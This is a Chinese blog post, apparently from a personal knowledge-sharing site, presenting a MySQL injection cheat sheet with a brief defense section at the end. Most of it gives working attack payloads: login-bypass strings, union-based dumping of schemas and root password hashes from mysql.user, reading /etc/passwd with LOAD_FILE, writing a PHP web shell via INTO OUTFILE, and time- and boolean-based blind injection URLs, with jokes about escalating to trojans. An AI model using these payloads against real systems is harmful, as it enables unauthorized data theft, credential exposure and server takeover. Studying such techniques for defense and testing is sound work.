书中星星 / 网络安全 / mysql注入大全及防御

分享

   

mysql注入大全及防御

2019-10-29  书中星星

0.明白存在的位置:get型 post型 cookie型 http头注入

 

 

1.先测试注入点,注册框、搜索框、地址栏啥的,判断是字符型,搜索型还是数字型

字符型 1' and '1'='1 成功, 1' and '1'='2 报错   1成功,1'报错 注意闭合

万能密码:1' or ’1‘=’1 #

数字型去掉'同理

搜索型 select password from  users where user  like '%  admin %'   注意通配符闭合

SELECT * FROM `users` WHERE user_id ='1 'or 1=1 # ' 可以爆出所有数据,除非limit 1,原理和万能密码一样,后接了or 此where功能失效,相当于SELECT * FROM `users`

 

2.猜字段,判断select返回的有多少字段(多少列)

1’ order by 1 #

1’ order by 2 #.  //原理是2是按照select后返回的第二列排序显示。如果没有这一列,报错

暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*  

and 1=2 代表业务内的查询一定不会成功,不显示,让它显示union之后的语句,看看报错或者显示到几,就知道业务查询了几个字段(列)

union查询前后的列数必须相等, 1,2,3,4,5是为了凑字段(例),凑够才能正常执行,同时还能判断网站显示位,

有关limit:前面是admin' and 1=2 union select....limit 1  //不显示原有查询,只从自己构造的查询里取前一条

       admin' and 1=2 union select....limit 2  //不显示原有查询,只从自己构造的查询里取前两条

        admin' and 1=2 union select....limit 0,1  //不显示原有查询,只从自己构造的查询里从第1条位置开始,取1个数据

        admin' and 1=2 union select....limit 2,4  //不显示原有查询,只从自己构造的查询里从第3条位置开始,取4个数据

 

3.查询数据库名,

union select database(),2 #    //后面如果是字符型接#注释掉后面的,database(),2按照要求要返回同原始查询相同数目的字段数,也可以接    database(),database(),凑够原始查询字段数就可以

version(), database(),user()这几个相当于全局变量 , 在数据库中直接select version()就会返回对应的数据库版本信息;

跨库旁注:

一。查看所有数据库名

1'union select 1,schema_name from schemata #

 

4.查询表名

有了数据库下一步就是确定其中有哪些数据表,我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表
其中有tables数据库,用来存放数据表的信息。插入以下的payload 
1’ union select table_name,1 from information_schema.tables where table_schema=’上面查询出来的数据库名’ #  前面依然保持字段数

不出意外,下面除了第一行正常数据,下面的都是所在业务数据库表名,自行通过limit限制查询指定表

像一些access需要猜表名,select1,2,3,4,5,...from admin//如果有admin,返回正常,没有就报错

information_schema.tables:

information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

Table_schema:数据库名

Table_name:表名

 

 

5.了解列名

我们还不知道这个数据表里有哪些字段(列),这就要用到mysql里 information_schema其中columns这个数据表了。插入如下的payload 
1’ union select column_name,2 from information_schema.columns where table_name=’上面的其中一个表名’ and table_schema=’业务所在的数据库名’ 

假如出来了user  和password字段

information_schema.columns:

information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

Column_name:列名

 

6.啥都知道了,直接查

1' union select user,password from users

 

 

 

以下为转载防备忘

 //这个可以判断数据库的版本是否为数字5开头
  select * from db where 1 = 1 and mid(version(),1,1)=5

  //通过union查询可以获取数据库的版本信息, 当然了, union查询要求字段一定匹配;
  select * from orders union select 1,version() from orders

  //确定查询的字段数,如果返回成功, 那么union会成功;
  select * from orders union select 1,1 from orders

  //通过在where后面添加and ord(mid(version(),1,1))<50 判断数据库的版本号
  select * from db where 1 = 1 and ord(mid(version(),1,1))<50

  //这个可以查询到当前的用户信息(比如root)
  select * from orders union select database(),user() from orders

  //返回用户数
  select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user

  //获取用户名为root的密码;
  select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'

  //根据当前字段数获取information_schema中保存所有数据库信息
  select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  //information_schema.TABLES这个字段保存的是mysql的表信息
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100

  //获取world这个数据库的表结构, 当然, 你首先爆数据库名;
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100

  //获取字段, 要知道数据库和表的名字,就可以获取字段的名字了
  select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci  //尼玛啊, 哟了root这个是直接爆密码的节奏啊;

  select * from orders where 1=1 and 1=2 union select User,Password from mysql.use

  //如果略显无聊, 我们可以利用;insert into orders(name) values('hehe');增加自己想要的字段;

  select * from orders where 1=1 ;insert into orders(name) values('hehe');

  //我们可以把查询出来的数据保存,当然了,你要知道保存的目录.... 就是传jsp, asp, php小马, 小马传大马, 大马传木马, 然后就呵呵了( ̄▽ ̄)"
  select user from mysql.user where 1=1 into outfile 'e:/sql.txt';

 

  //o(^▽^)o,下面是转载的,防忘记,

  暴字段长度
    order by num/*

  匹配字段
    and 1=1 union select 1,2,3,4,5…….n/*

  暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*

  利用内置函数暴数据库信息
    database() user()

    version():数据库版本

    @@version_compile_os:操作系统

  不用猜解可用字段暴数据库信息(有些网站不适用):

    and 1=2 union all select version() /*
    and 1=2 union all select database() /*
    and 1=2 union all select user() /*

  操作系统信息:
    and 1=2 union all select @@global.version_compile_os from mysql.user /*

  数据库权限:
    and ord(mid(user(),1,1))=114 /* 返回正常说明为root

  暴库 (mysql>5.0)

  Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

  猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

  猜字段
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

  暴密码
  and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1 //限制仅显示一条信息,避免页面出错

  高级用法(一个可用字段显示两个数据内容):
    Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

 

 

 八、文件操作
  1. 文件操作权限
  一定是要root 权限,是什么权限由web应用连接的用户决定
  在MySQL中,存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()
  权限和用户名在mysql.user
  如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用
  但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了
  也可使用如下语句查询
  2. 读文件(可不要求绝对路径)
  路径“/”或 “\\”
  读文件函数LOAD_FILE()
  Examples:
  SELECT LOAD_FILE('/etc/passwd'); 
  SELECT LOAD_FILE(0x2F6574632F706173737764);
  注意点:
  LOAD_FILE的默认目录@@datadir
  文件必须是当前用户可读
  读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
  3. 写文件
  INTO OUTFILE/DUMPFILE
  经典写文件例子:
  如果写入的内容中包含单引号等特殊字符,可以转成hex值写入,这里不需要用单引号将文件内容括住闭合
  To write a PHP shell:
  SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  这两个函数都可以写文件,但是有很大的差别
  INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
  INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
  当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的
  注意点:
  INTO OUTFILE不会覆盖文件
  INTO OUTFILE必须是查询语句的最后一句
  路径名是不能编码的,必须使用单引号

  load_file()常用的敏感信息见我另外一篇博客,暴路径写马拿shell的一些姿势

 


replace(load_file(0x2F6574632F706173737764),0x3c,0x20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码.

 

 

 

9.盲注

 基于时间的盲注:

sleep()函数可以延时是使数据库执行,同时也可以判断当前语句是否能正确执行,正确执行会延时

例如:union select 1,2,sleep(5) from....

if(条件,true参数,false参数),如果条件成立,返回true参数,否则返回false参数

   0.明白 ’ and if(length(database())=6,sleep(5),sleep(0))  --+ 管用,这里页面正不正常无所谓,重要的是看执行时间

   1.定字段数

union select 1,2,sleep(2) //order by失效时判断是不是3个字段(结果集的列、显示位),是则延迟两秒显示结果

   2.定数据库

 union select1,2,sleep(  if(length(database())=5,5,0)  ) from....//判断数据库名长度是不是5位,是的话网页延迟5秒执行,否则立即执行,也可以用>5、<5来判断

简单的:.php?id=1 and sleep(  if(length(database())=5,5,0) ) 也可以行的通,因为这里sleep一定会执行。

union select1,2,sleep(   if(mid(database(),1,1)='s',5,0)  ) from...//判断数据库名第一位是不是s,此法可逐位猜解数据库名

http://127.0.0.1/index.php?user=admin' and sleep(if(mid(database(),2,1)='v',5,0))  -- #   //判断数据库名字第二位是不是v

   3.定表名

admin' and 1=2  union select sleep(if(mid(table_name,1,1)='u',5,0)),1 ,2 from information_schema.tables where table_schema='dvwa' limit 1,1 #

//dvwa数据库第二个表位置,取一个数量的表,判断它表名第一位是不是u,是的话延时5秒显示结果

 select * from users union select  sleep(if(user='admin',5,3)),2,3,4,5,6,7,8 from users limit 0,1 ; //判断表内有没有admin,有就延迟5秒显示,否则三秒,从第一条位置开始取一条结果,且只让sleep执行一次,否则延迟元组数*5秒

   4.定列名

也是以下思路,先用length判断长度再用if猜解,其中ORD()返回字符串第一位的ASCII值,但是在access中,这个函数是asc()

基于布尔型的盲注:

 

若为布尔盲注,则按照以下步骤进行:

 

一、得到数据库的长度

 

http://localhost/index.php?id=2' and length(database())>1%23

 

二、获取数据库名称

 

姿势:http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
三、获取表长度
姿势:http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
四、获取表名
和第二步获得数据库名差不多,姿势稍微变了一下:
http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
五、获取字段的个数和长度
姿势:http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
其中limit 0,1表示第一列,limit 1,1为第二列,依次类推。
六、获取字段名称
姿势:http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23

 

 

 

 

 

 旁注原理很简单,跨库注入,不说了。

 

10.加密注入、base64注入

id=后面是base64加密的1 and 1=1,有些工具、sqlmap不加temper 跑不出来,

流程:业务层base64加密生成,显示在url上面,然后传入后台时base64解密,与MD5大写或者小写(不超过F)一种加数字,位数固定相比,base64位数不固定26种字母加大小写混编,后面常常以等于号结束。

渗透思路,渗透的sql语句先用工具base64加密,再拼接在注入点后面

 

11.二次注入

很智慧,在能输入的地方,比如留言板之类写入sql语句。然后这些语句提交后被当作评论或正常内容送入数据库存储。

数据存进去了,查看的时候好戏来了,自己发的内容被展示时,查询语句和自己提交的sql语句拼接,达到查询敏感信息,有注入效果。

比如一张表user有ID 、password、profile。填写介绍时,在profile写 Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 

而碰巧业务查询语句是select id,password,profile from user where id=' $id '或者select * from  user where id=' $id ',正好就拼接成了

 select * from  user where id='Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 '。在织梦CMs里以前经常出这些问题。

而显示如果是类似$while(isset($result)){  echo $id $password $profile}这样的语句。返回的是自己注入的信息。

 

 

 

 

 

12.伪静态注入:

http://127.0.0.1/index/id/1.html

可以经过中转为.php?id=1注入,也可以进行手动测试

http://127.0.0.1/index/id/1/**/and/**/1=1.html,注释只能用/**/不能用#

还有的后面是用base64加密的伪静态

跑sqlmap时:sqlmap -u http://127.0.0.1/index/id/1*.html

注意一下就可以了,原理思路还是和普通注入一样。

 

 

 

 

 

13防御加固:

过滤函数:

1.addslashes() $id=addslashes($_GET['x'])   mysql_real_escape_string,mysql_escape_string

2.魔术引号(‘ " null  \)。magic_quotes_gpc所有被返回的数据都会被\转义。php4.3.4是一个分界点

3.自定义的过滤函数、正则表达等

4.参数化sql、存储过程

php.ini合理配置,dispaly_error关掉。不显示报错路径

 

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多
    喜欢该文的人也喜欢 更多

    ×
    ×

    ¥.00

    微信或支付宝扫码支付:

    开通即同意《个图VIP服务协议》

    全部>>